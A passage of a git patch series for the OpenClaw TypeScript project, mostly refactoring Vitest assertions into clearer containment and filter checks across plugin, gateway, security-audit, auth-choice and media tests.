src/infra/provider-usage.fetch.claude.test.ts | 2 +- src/infra/push-web.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/infra/provider-usage.fetch.claude.test.ts b/src/infra/provider-usage.fetch.claude.test.ts index e9b82c9ad4f..3bde3c4fa90 100644 --- a/src/infra/provider-usage.fetch.claude.test.ts +++ b/src/infra/provider-usage.fetch.claude.test.ts @@ -41,7 +41,7 @@ async function expectMissingScopeWithoutFallback(mockFetch: ScopeFallbackFetch) expectMissingScopeError(result); const calledUrls = mockFetch.mock.calls.map(([input]) => toRequestUrl(input)); expect(calledUrls.length).toBeGreaterThan(0); - expect(calledUrls.every((url) => url.includes("/api/oauth/usage"))).toBe(true); + expect(calledUrls.filter((url) => !url.includes("/api/oauth/usage"))).toEqual([]); } function makeOrgAResponse() { diff --git a/src/infra/push-web.test.ts b/src/infra/push-web.test.ts index b7a9b5ac00d..68056bf6b9b 100644 --- a/src/infra/push-web.test.ts +++ b/src/infra/push-web.test.ts @@ -222,7 +222,7 @@ describe("sending", () => { const results = await broadcastWebPush({ title: "Broadcast" }, tmpDir); expect(results).toHaveLength(2); - expect(results.every((result) => result.ok)).toBe(true); + expect(results.filter((result) => !result.ok)).toEqual([]); expect(vi.mocked(webPush.setVapidDetails)).toHaveBeenCalledTimes(1); expect(vi.mocked(webPush.sendNotification)).toHaveBeenCalledTimes(2); }); From eff631e269d0a0e3dec7cf1c80bbcad3b4c4e8ee Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:26:03 +0100 Subject: [PATCH 139/174] test: clarify plugin snapshot stale index assertions --- src/plugins/plugin-registry-snapshot.test.ts | 2 +- src/plugins/status.registry-snapshot.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/plugins/plugin-registry-snapshot.test.ts b/src/plugins/plugin-registry-snapshot.test.ts index f7d67ddf925..8a09321d844 100644 --- a/src/plugins/plugin-registry-snapshot.test.ts +++ b/src/plugins/plugin-registry-snapshot.test.ts @@ -95,7 +95,7 @@ describe("loadPluginRegistrySnapshotWithMetadata", () => { stateDir, installRecords: {}, }); - expect(staleIndex.plugins.some((plugin) => plugin.pluginId === "whatsapp")).toBe(false); + expect(staleIndex.plugins.map((plugin) => plugin.pluginId)).not.toContain("whatsapp"); writePersistedInstalledPluginIndexSync(staleIndex, { stateDir }); const result = loadPluginRegistrySnapshotWithMetadata({ diff --git a/src/plugins/status.registry-snapshot.test.ts b/src/plugins/status.registry-snapshot.test.ts index 8a91a13f8d4..a4396fba4a1 100644 --- a/src/plugins/status.registry-snapshot.test.ts +++ b/src/plugins/status.registry-snapshot.test.ts @@ -55,7 +55,7 @@ describe("buildPluginRegistrySnapshotReport", () => { env, installRecords: {}, }); - expect(staleIndex.plugins.some((plugin) => plugin.pluginId === "whatsapp")).toBe(false); + expect(staleIndex.plugins.map((plugin) => plugin.pluginId)).not.toContain("whatsapp"); writePersistedInstalledPluginIndexSync(staleIndex, { stateDir }); const report = buildPluginRegistrySnapshotReport({ From a5e9b205ac163ec9db2933578c4316a1bdf5f7f5 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:27:13 +0100 Subject: [PATCH 140/174] test: clarify system presence pruning assertions --- src/infra/system-presence.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/infra/system-presence.test.ts b/src/infra/system-presence.test.ts index 02369a18355..4626aeda624 100644 --- a/src/infra/system-presence.test.ts +++ b/src/infra/system-presence.test.ts @@ -109,12 +109,12 @@ describe("system-presence", () => { reason: "connect", }); - expect(listSystemPresence().some((entry) => entry.deviceId === deviceId)).toBe(true); + expect(listSystemPresence().map((entry) => entry.deviceId)).toContain(deviceId); vi.advanceTimersByTime(5 * 60 * 1000 + 1); const entries = listSystemPresence(); - expect(entries.some((entry) => entry.deviceId === deviceId)).toBe(false); - expect(entries.some((entry) => entry.reason === "self")).toBe(true); + expect(entries.map((entry) => entry.deviceId)).not.toContain(deviceId); + expect(entries.map((entry) => entry.reason)).toContain("self"); }); }); From d84239c0fc286ab2e585d4d77c161de2bb2f4cbd Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:28:20 +0100 Subject: [PATCH 141/174] test: clarify bonjour discovery command assertions --- src/infra/bonjour-discovery.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/infra/bonjour-discovery.test.ts b/src/infra/bonjour-discovery.test.ts index 1df5d7fd425..bf866b491e7 100644 --- a/src/infra/bonjour-discovery.test.ts +++ b/src/infra/bonjour-discovery.test.ts @@ -102,7 +102,7 @@ describe("bonjour-discovery", () => { expect(browseCalls.map((c) => c.argv[3])).toEqual( expect.arrayContaining(["local.", WIDE_AREA_DOMAIN]), ); - expect(browseCalls.every((c) => c.timeoutMs === 1234)).toBe(true); + expect([...new Set(browseCalls.map((c) => c.timeoutMs))]).toEqual([1234]); }); it("decodes dns-sd octal escapes in TXT displayName", async () => { @@ -269,8 +269,8 @@ describe("bonjour-discovery", () => { }), ]); - expect(calls.some((c) => c.argv[0] === "tailscale" && c.argv[1] === "status")).toBe(true); - expect(calls.some((c) => c.argv[0] === "dig")).toBe(true); + expect(calls.map((c) => c.argv.slice(0, 2).join(" "))).toContain("tailscale status"); + expect(calls.map((c) => c.argv[0])).toContain("dig"); }); it("normalizes domains and respects domains override", async () => { From 4b8717f14e57155e75ff2de6b765ab75fbd67748 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:29:28 +0100 Subject: [PATCH 142/174] test: clarify sandbox browser audit assertion --- src/security/audit-sandbox-browser.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/security/audit-sandbox-browser.test.ts b/src/security/audit-sandbox-browser.test.ts index 4cbb0c10d87..75e621b9654 100644 --- a/src/security/audit-sandbox-browser.test.ts +++ b/src/security/audit-sandbox-browser.test.ts @@ -115,8 +115,8 @@ describe("security audit sandbox browser findings", () => { }, }, } satisfies OpenClawConfig); - expect(findings.some((f) => f.checkId === "sandbox.browser_cdp_bridge_unrestricted")).toBe( - false, + expect(findings.map((finding) => finding.checkId)).not.toContain( + "sandbox.browser_cdp_bridge_unrestricted", ); }); }); From 5fccaa1e328e78deb253e438598730ac4d17c0a4 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:30:48 +0100 Subject: [PATCH 143/174] test: clarify gateway exposure audit assertions --- src/security/audit-gateway-exposure.test.ts | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/src/security/audit-gateway-exposure.test.ts b/src/security/audit-gateway-exposure.test.ts index f437e2e4c51..933c7b2bb66 100644 --- a/src/security/audit-gateway-exposure.test.ts +++ b/src/security/audit-gateway-exposure.test.ts @@ -128,7 +128,7 @@ describe("security audit gateway exposure findings", () => { const findings = collectGatewayConfigFindings(cfg, cfg, {}); expect(findings).toEqual(expect.arrayContaining([expect.objectContaining(expectedFinding)])); if (expectedNoFinding) { - expect(findings.some((finding) => finding.checkId === expectedNoFinding)).toBe(false); + expect(findings.map((finding) => finding.checkId)).not.toContain(expectedNoFinding); } }); @@ -410,10 +410,9 @@ describe("security audit gateway exposure findings", () => { testCase.name, ).toBe(true); if (testCase.suppressesGenericSharedSecretFindings) { - expect(findings.some((finding) => finding.checkId === "gateway.bind_no_auth")).toBe(false); - expect(findings.some((finding) => finding.checkId === "gateway.auth_no_rate_limit")).toBe( - false, - ); + const checkIds = findings.map((finding) => finding.checkId); + expect(checkIds).not.toContain("gateway.bind_no_auth"); + expect(checkIds).not.toContain("gateway.auth_no_rate_limit"); } } }); From 4fd85c5ee5b58004a4e7e4ca365b7c5b936da5f3 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:32:01 +0100 Subject: [PATCH 144/174] test: clarify command analysis warning assertion --- src/infra/command-analysis/explain.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/infra/command-analysis/explain.test.ts b/src/infra/command-analysis/explain.test.ts index 054f5a9cb97..c2afeb19f15 100644 --- a/src/infra/command-analysis/explain.test.ts +++ b/src/infra/command-analysis/explain.test.ts @@ -14,7 +14,9 @@ describe("command-analysis explanation summary", () => { expect(summary.commandCount).toBe(1); expect(summary.riskKinds).toContain("shell-wrapper"); expect(summary.riskKinds).toContain("inline-eval"); - expect(summary.warningLines.some((line) => line.includes("inline-eval"))).toBe(true); + expect(summary.warningLines).toEqual( + expect.arrayContaining([expect.stringContaining("inline-eval")]), + ); }); it("summarizes policy command segments without async parsing", () => { From 911d4555cb14c54e1a8536dfe7ced28ec09441ec Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:33:17 +0100 Subject: [PATCH 145/174] test: clarify update package manager path assertion --- src/infra/update-package-manager.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/infra/update-package-manager.test.ts b/src/infra/update-package-manager.test.ts index 0a28fc278a8..db0c97ccec9 100644 --- a/src/infra/update-package-manager.test.ts +++ b/src/infra/update-package-manager.test.ts @@ -34,7 +34,9 @@ describe("resolveUpdateBuildManager", () => { expect(result.kind).toBe("resolved"); if (result.kind === "resolved") { expect(result.manager).toBe("pnpm"); - expect(paths.some((value) => value.includes("openclaw-update-pnpm-"))).toBe(true); + expect(paths).toEqual( + expect.arrayContaining([expect.stringContaining("openclaw-update-pnpm-")]), + ); await result.cleanup?.(); } }); From 0242d3e50d6addfa13faf4a7a0b6d42e078b326c Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:34:24 +0100 Subject: [PATCH 146/174] test: clarify tsdown graph assertions --- src/infra/tsdown-config.test.ts | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/src/infra/tsdown-config.test.ts b/src/infra/tsdown-config.test.ts index d2695b7cc82..8f5cbbaf14e 100644 --- a/src/infra/tsdown-config.test.ts +++ b/src/infra/tsdown-config.test.ts @@ -147,15 +147,14 @@ describe("tsdown config", () => { it("does not emit plugin-sdk or hooks from a separate dist graph", () => { const configs = asConfigArray(tsdownConfig); + const hookEntries = configs.flatMap((config) => + Array.isArray(config.entry) + ? config.entry.filter((entry) => entry.includes("src/hooks/")) + : [], + ); - expect(configs.some((config) => config.outDir === "dist/plugin-sdk")).toBe(false); - expect( - configs.some((config) => - Array.isArray(config.entry) - ? config.entry.some((entry) => entry.includes("src/hooks/")) - : false, - ), - ).toBe(false); + expect(configs.map((config) => config.outDir)).not.toContain("dist/plugin-sdk"); + expect(hookEntries).toEqual([]); }); it("externalizes known heavy native dependencies", () => { From ea5116089c54d55908cb31e6b6b62e4b6c09254c Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:35:01 +0100 Subject: [PATCH 147/174] test: clarify acp live streaming assertions --- src/auto-reply/reply/dispatch-from-config.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/auto-reply/reply/dispatch-from-config.test.ts b/src/auto-reply/reply/dispatch-from-config.test.ts index 3f6c40acfa7..7f9b4d9397c 100644 --- a/src/auto-reply/reply/dispatch-from-config.test.ts +++ b/src/auto-reply/reply/dispatch-from-config.test.ts @@ -2050,7 +2050,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 128 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 128 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2470,7 +2470,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2548,7 +2548,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); @@ -2601,7 +2601,7 @@ describe("dispatchReplyFromConfig", () => { acp: { enabled: true, dispatch: { enabled: true }, - stream: { coalesceIdleMs: 0, maxChunkChars: 256 }, + stream: { deliveryMode: "live", coalesceIdleMs: 0, maxChunkChars: 256 }, }, } as OpenClawConfig; const dispatcher = createDispatcher(); From 404353ad4fc0ee443aa1e205f5f671fc31fac84f Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:35:39 +0100 Subject: [PATCH 148/174] test: clarify opencode thinking level assertions --- extensions/opencode/index.test.ts | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/extensions/opencode/index.test.ts b/extensions/opencode/index.test.ts index c3e1b5d0c21..1723a499122 100644 --- a/extensions/opencode/index.test.ts +++ b/extensions/opencode/index.test.ts @@ -70,9 +70,9 @@ describe("opencode provider plugin", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect(opus46Profile?.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe( - false, - ); + const opus46LevelIds = opus46Profile?.levels.map((level) => level.id) ?? []; + expect(opus46LevelIds).not.toContain("xhigh"); + expect(opus46LevelIds).not.toContain("max"); const sonnet46Profile = resolveThinkingProfile({ provider: "opencode", modelId: "claude-sonnet-4-6", @@ -81,8 +81,8 @@ describe("opencode provider plugin", () => { levels: expect.arrayContaining([{ id: "adaptive" }]), defaultLevel: "adaptive", }); - expect( - sonnet46Profile?.levels.some((level) => level.id === "xhigh" || level.id === "max"), - ).toBe(false); + const sonnet46LevelIds = sonnet46Profile?.levels.map((level) => level.id) ?? []; + expect(sonnet46LevelIds).not.toContain("xhigh"); + expect(sonnet46LevelIds).not.toContain("max"); }); }); From f00e09c34bf82ff441528176c2bbd2091cb49117 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:36:48 +0100 Subject: [PATCH 149/174] test: clarify model picker router assertions --- src/commands/model-picker.test.ts | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/commands/model-picker.test.ts b/src/commands/model-picker.test.ts index d84a074a849..771f09373dc 100644 --- a/src/commands/model-picker.test.ts +++ b/src/commands/model-picker.test.ts @@ -142,10 +142,9 @@ const OPENROUTER_CATALOG = [ ] as const; function expectRouterModelFiltering(options: Array<{ value: string }>) { - expect(options.some((opt) => opt.value === "openrouter/auto")).toBe(false); - expect(options.some((opt) => opt.value === "openrouter/meta-llama/llama-3.3-70b:free")).toBe( - true, - ); + const values = options.map((option) => option.value); + expect(values).not.toContain("openrouter/auto"); + expect(values).toContain("openrouter/meta-llama/llama-3.3-70b:free"); } function createSelectAllMultiselect() { From 9094c801ceed8b6ec4f0d4747aced38da0ecbadd Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:38:37 +0100 Subject: [PATCH 150/174] test: clarify backup workspace asset assertion --- src/commands/backup.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/commands/backup.test.ts b/src/commands/backup.test.ts index 3fcb345a2d8..fef97a24821 100644 --- a/src/commands/backup.test.ts +++ b/src/commands/backup.test.ts @@ -385,7 +385,7 @@ describe("backup commands", () => { }); expect(result.includeWorkspace).toBe(false); - expect(result.assets.some((asset) => asset.kind === "workspace")).toBe(false); + expect(result.assets.map((asset) => asset.kind)).not.toContain("workspace"); const configOnly = await backupCreateCommand(runtime, { dryRun: true, From b06f0abe579af024e86e4fb26ccfeab72cce2e7a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:40:29 +0100 Subject: [PATCH 151/174] test: clarify gateway session thinking assertions --- src/gateway/session-utils.test.ts | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/src/gateway/session-utils.test.ts b/src/gateway/session-utils.test.ts index f1e71bcf58f..cfbf622cbc7 100644 --- a/src/gateway/session-utils.test.ts +++ b/src/gateway/session-utils.test.ts @@ -311,15 +311,18 @@ describe("gateway session utils", () => { }); expect(result.sessions).toHaveLength(5); - expect( - result.sessions.every((session) => - session.thinkingLevels?.some((level) => level.id === "medium"), - ), - ).toBe(true); - expect(result.sessions.every((session) => session.thinkingOptions?.includes("medium"))).toBe( - true, + const missingMediumLevelSessionIds = result.sessions + .filter((session) => !session.thinkingLevels?.some((level) => level.id === "medium")) + .map((session) => session.sessionId); + const missingMediumOptionSessionIds = result.sessions + .filter((session) => !session.thinkingOptions?.includes("medium")) + .map((session) => session.sessionId); + + expect(missingMediumLevelSessionIds).toEqual([]); + expect(missingMediumOptionSessionIds).toEqual([]); + expect(result.sessions.map((session) => session.thinkingDefault)).toEqual( + Array.from({ length: result.sessions.length }, () => "medium"), ); - expect(result.sessions.every((session) => session.thinkingDefault === "medium")).toBe(true); expect(resolveThinkingProfile).toHaveBeenCalled(); }); From 951897c45c3f7928325973a8365726bf64016fc8 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:40:52 +0100 Subject: [PATCH 152/174] test: clarify harness runtime policy assertions --- src/agents/harness/registry.test.ts | 37 ++++++++++++++++++++++++----- 1 file changed, 31 insertions(+), 6 deletions(-) diff --git a/src/agents/harness/registry.test.ts b/src/agents/harness/registry.test.ts index cddd07d2b5e..a9b7c09bc3b 100644 --- a/src/agents/harness/registry.test.ts +++ b/src/agents/harness/registry.test.ts @@ -1,4 +1,5 @@ import { afterEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { clearAgentHarnesses, disposeRegisteredAgentHarnesses, @@ -45,6 +46,20 @@ function makeHarness( }; } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + describe("agent harness registry", () => { it("registers and retrieves a harness with owner metadata", () => { const harness = makeHarness("custom"); @@ -132,21 +147,31 @@ describe("agent harness registry", () => { expect(selectAgentHarness({ provider: "codex", modelId: "gpt-5.4" }).id).toBe("plugin-harness"); }); - it("honors explicit PI mode", () => { - process.env.OPENCLAW_AGENT_RUNTIME = "pi"; + it("honors explicit provider PI runtime policy", () => { registerAgentHarness(makeHarness("plugin-harness", { priority: 200 }), { ownerPluginId: "plugin-a", }); - expect(selectAgentHarness({ provider: "codex", modelId: "gpt-5.4" }).id).toBe("pi"); + expect( + selectAgentHarness({ + provider: "codex", + modelId: "gpt-5.4", + config: providerRuntimeConfig("codex", "pi"), + }).id, + ).toBe("pi"); }); - it("honors explicit plugin harness mode when the plugin harness is registered", () => { - process.env.OPENCLAW_AGENT_RUNTIME = "custom"; + it("honors explicit provider plugin runtime policy when the plugin harness is registered", () => { registerAgentHarness(makeHarness("custom", { providers: ["custom-provider"] }), { ownerPluginId: "plugin-a", }); - expect(selectAgentHarness({ provider: "anthropic", modelId: "sonnet-4.6" }).id).toBe("custom"); + expect( + selectAgentHarness({ + provider: "anthropic", + modelId: "sonnet-4.6", + config: providerRuntimeConfig("anthropic", "custom"), + }).id, + ).toBe("custom"); }); }); From 76b09fbc68007be2c91a60c815cdfd5b552ebd8e Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:42:01 +0100 Subject: [PATCH 153/174] test: clarify cli secret target scope assertions --- src/cli/command-secret-targets.test.ts | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/cli/command-secret-targets.test.ts b/src/cli/command-secret-targets.test.ts index b8f97d0e594..355593e7a53 100644 --- a/src/cli/command-secret-targets.test.ts +++ b/src/cli/command-secret-targets.test.ts @@ -104,8 +104,9 @@ describe("command secret target ids", () => { }); expect(scoped.targetIds.size).toBeGreaterThan(0); - expect([...scoped.targetIds].every((id) => id.startsWith("channels.discord."))).toBe(true); - expect([...scoped.targetIds].some((id) => id.startsWith("channels.telegram."))).toBe(false); + const targetIds = [...scoped.targetIds]; + expect(targetIds.filter((id) => !id.startsWith("channels.discord."))).toEqual([]); + expect(targetIds.filter((id) => id.startsWith("channels.telegram."))).toEqual([]); }); it("does not coerce missing accountId to default when channel is scoped", () => { @@ -127,7 +128,7 @@ describe("command secret target ids", () => { expect(scoped.allowedPaths).toBeUndefined(); expect(scoped.targetIds.size).toBeGreaterThan(0); - expect([...scoped.targetIds].every((id) => id.startsWith("channels.discord."))).toBe(true); + expect([...scoped.targetIds].filter((id) => !id.startsWith("channels.discord."))).toEqual([]); }); it("scopes allowed paths to channel globals + selected account", () => { From 4be63a9e8f4e121580c183e82e6344b0f5396259 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:43:36 +0100 Subject: [PATCH 154/174] test: clarify tool image log assertions --- src/agents/tool-images.log.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/agents/tool-images.log.test.ts b/src/agents/tool-images.log.test.ts index 479d598972f..183df912861 100644 --- a/src/agents/tool-images.log.test.ts +++ b/src/agents/tool-images.log.test.ts @@ -54,7 +54,7 @@ describe("tool-images log context", () => { ]; await sanitizeContentBlocksImages(blocks, "nodes:camera_snap"); const messages = infoMock.mock.calls.map((call) => String(call[0] ?? "")); - expect(messages.some((message) => message.includes("camera-front.png"))).toBe(true); + expect(messages).toEqual(expect.arrayContaining([expect.stringContaining("camera-front.png")])); }); it("includes filename from read label", async () => { @@ -63,6 +63,8 @@ describe("tool-images log context", () => { ]; await sanitizeContentBlocksImages(blocks, "read:/tmp/images/sample-diagram.png"); const messages = infoMock.mock.calls.map((call) => String(call[0] ?? "")); - expect(messages.some((message) => message.includes("sample-diagram.png"))).toBe(true); + expect(messages).toEqual( + expect.arrayContaining([expect.stringContaining("sample-diagram.png")]), + ); }); }); From 08337a11770dbf9886ab0b65fad2edda47571eb9 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:43:58 +0100 Subject: [PATCH 155/174] test: clarify staged media output assertions --- extensions/google/video-generation-provider.test.ts | 4 +++- extensions/microsoft/tts.test.ts | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/extensions/google/video-generation-provider.test.ts b/extensions/google/video-generation-provider.test.ts index 4549351ce4f..25ba109a3e0 100644 --- a/extensions/google/video-generation-provider.test.ts +++ b/extensions/google/video-generation-provider.test.ts @@ -235,7 +235,9 @@ describe("google video generation provider", () => { }); const [{ downloadPath }] = downloadMock.mock.calls[0] ?? [{}]; - expect(path.basename(String(downloadPath))).toBe("video-1.mp4"); + const downloadBaseName = path.basename(String(downloadPath)); + expect(downloadBaseName).toContain("video-1.mp4"); + expect(downloadBaseName).toMatch(/\.part$/); expect(result.videos[0]?.buffer).toEqual(Buffer.from("sdk-video")); expect(result.videos[0]?.fileName).toBe("video-1.mp4"); }); diff --git a/extensions/microsoft/tts.test.ts b/extensions/microsoft/tts.test.ts index ea27de79d1c..d1ef605d3fd 100644 --- a/extensions/microsoft/tts.test.ts +++ b/extensions/microsoft/tts.test.ts @@ -111,7 +111,8 @@ describe("edgeTTS empty audio validation", () => { ), ).resolves.toBeUndefined(); expect(stagedPath).not.toBe(outputPath); - expect(path.basename(stagedPath)).toBe(path.basename(outputPath)); + expect(path.basename(stagedPath)).toContain(path.basename(outputPath)); + expect(path.basename(stagedPath)).toMatch(/\.part$/); expect(readFileSync(outputPath)).toEqual(Buffer.from([0xff, 0xfb, 0x90, 0x00])); expect(existsSync(stagedPath)).toBe(false); }); From 53824a0cbf47a6521a1bb8394a6637630a28742a Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:45:05 +0100 Subject: [PATCH 156/174] test: clarify gateway tools catalog assertions --- src/gateway/server-methods/tools-catalog.test.ts | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/gateway/server-methods/tools-catalog.test.ts b/src/gateway/server-methods/tools-catalog.test.ts index 028a068dcda..c4310c13e80 100644 --- a/src/gateway/server-methods/tools-catalog.test.ts +++ b/src/gateway/server-methods/tools-catalog.test.ts @@ -94,9 +94,10 @@ describe("tools.catalog handler", () => { } | undefined; expect(payload?.agentId).toBe("main"); - expect(payload?.groups.some((group) => group.source === "plugin")).toBe(false); - const media = payload?.groups.find((group) => group.id === "media"); - expect(media?.tools.some((tool) => tool.id === "tts" && tool.source === "core")).toBe(true); + const groups = payload?.groups ?? []; + expect(groups.filter((group) => group.source === "plugin")).toEqual([]); + const media = groups.find((group) => group.id === "media"); + expect(media?.tools.map((tool) => `${tool.source}:${tool.id}`) ?? []).toContain("core:tts"); }); it("includes plugin groups with plugin metadata", async () => { From 9ae982f4867946341314199ec55d7bf328357251 Mon Sep 17 00:00:00 2001 From: Shakker Date: Fri, 8 May 2026 09:45:26 +0100 Subject: [PATCH 157/174] test: clarify browser download output assertions --- extensions/browser/src/browser/pw-session.test.ts | 6 ------ 1 file changed, 6 deletions(-) diff --git a/extensions/browser/src/browser/pw-session.test.ts b/extensions/browser/src/browser/pw-session.test.ts index e35a2a1cbd7..2d41cf97d08 100644 --- a/extensions/browser/src/browser/pw-session.test.ts +++ b/extensions/browser/src/browser/pw-session.test.ts @@ -138,11 +138,6 @@ describe("pw-session role refs cache", () => { describe("pw-session ensurePageState", () => { it("stores unmanaged downloads under unique managed paths", async () => { const { page, handlers } = fakePage(); - const mkdirActual = fs.mkdir.bind(fs); - const mkdirSpy = vi.spyOn(fs, "mkdir").mockImplementation(async (target, options) => { - await mkdirActual(target, options); - return undefined; - }); ensurePageState(page); const saveAsA = vi.fn(async (outPath: string) => { @@ -175,7 +170,6 @@ describe("pw-session ensurePageState", () => { expect(saveAsB.mock.calls[0]?.[0]).not.toBe(managedPathB); await expect(fs.readFile(managedPathA ?? "", "utf8")).resolves.toBe("download-a"); await expect(fs.readFile(managedPathB ?? "", "utf8")).resolves.toBe("download-b"); - expect(mkdirSpy).toHaveBeenCalled(); }); it("suppresses unmanaged download save rejections until path is awaited", async () => { From 0baa9a93e755e60dca76750c7759686f6653c7f2 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:47:17 +0100 Subject: [PATCH 158/174] test: clarify auth choice option assertions --- src/commands/auth-choice-options.test.ts | 59 ++++++++++++------------ 1 file changed, 30 insertions(+), 29 deletions(-) diff --git a/src/commands/auth-choice-options.test.ts b/src/commands/auth-choice-options.test.ts index c580b7c0493..d64f864a7a5 100644 --- a/src/commands/auth-choice-options.test.ts +++ b/src/commands/auth-choice-options.test.ts @@ -263,25 +263,25 @@ describe("buildAuthChoiceOptions", () => { ]); const options = getOptions(); - for (const value of [ - "github-copilot", - "zai-api-key", - "xiaomi-api-key", - "minimax-global-api", - "moonshot-api-key", - "together-api-key", - "chutes", - "xai-api-key", - "mistral-api-key", - "volcengine-api-key", - "byteplus-api-key", - "vllm", - "opencode-go", - "ollama", - "sglang", - ]) { - expect(options.some((opt) => opt.value === value)).toBe(true); - } + expect(options.map((option) => option.value)).toEqual( + expect.arrayContaining([ + "github-copilot", + "zai-api-key", + "xiaomi-api-key", + "minimax-global-api", + "moonshot-api-key", + "together-api-key", + "chutes", + "xai-api-key", + "mistral-api-key", + "volcengine-api-key", + "byteplus-api-key", + "vllm", + "opencode-go", + "ollama", + "sglang", + ]), + ); }); it("builds cli help choices from the same runtime catalog", () => { @@ -328,7 +328,7 @@ describe("buildAuthChoiceOptions", () => { expect(cliChoices).toContain("litellm-api-key"); expect(cliChoices).toContain("custom-api-key"); expect(cliChoices).toContain("skip"); - expect(options.some((option) => option.value === "ollama")).toBe(true); + expect(options.map((option) => option.value)).toContain("ollama"); expect(cliChoices).toContain("ollama"); }); @@ -415,9 +415,9 @@ describe("buildAuthChoiceOptions", () => { const litellmGroup = requireChoiceGroup(groups, "litellm"); const ollamaGroup = requireChoiceGroup(groups, "ollama"); - expect(chutesGroup.options.some((opt) => opt.value === "chutes")).toBe(true); - expect(litellmGroup.options.some((opt) => opt.value === "litellm-api-key")).toBe(true); - expect(ollamaGroup.options.some((opt) => opt.value === "ollama")).toBe(true); + expect(chutesGroup.options.map((option) => option.value)).toContain("chutes"); + expect(litellmGroup.options.map((option) => option.value)).toContain("litellm-api-key"); + expect(ollamaGroup.options.map((option) => option.value)).toContain("ollama"); }); it("prefers Anthropic Claude CLI over API key in grouped selection", () => { @@ -519,8 +519,9 @@ describe("buildAuthChoiceOptions", () => { }); const openCodeGroup = requireChoiceGroup(groups, "opencode"); - expect(openCodeGroup.options.some((opt) => opt.value === "opencode-zen")).toBe(true); - expect(openCodeGroup.options.some((opt) => opt.value === "opencode-go")).toBe(true); + expect(openCodeGroup.options.map((option) => option.value)).toEqual( + expect.arrayContaining(["opencode-zen", "opencode-go"]), + ); }); it("hides image-generation-only providers from the interactive auth picker", () => { @@ -562,10 +563,10 @@ describe("buildAuthChoiceOptions", () => { ]); const options = getOptions(); + const optionValues = options.map((option) => option.value); - expect(options.some((option) => option.value === "openai-api-key")).toBe(true); - expect(options.some((option) => option.value === "ollama")).toBe(true); - expect(options.some((option) => option.value === "fal-api-key")).toBe(false); - expect(options.some((option) => option.value === "local-image-runtime")).toBe(false); + expect(optionValues).toEqual(expect.arrayContaining(["openai-api-key", "ollama"])); + expect(optionValues).not.toContain("fal-api-key"); + expect(optionValues).not.toContain("local-image-runtime"); }); }); From 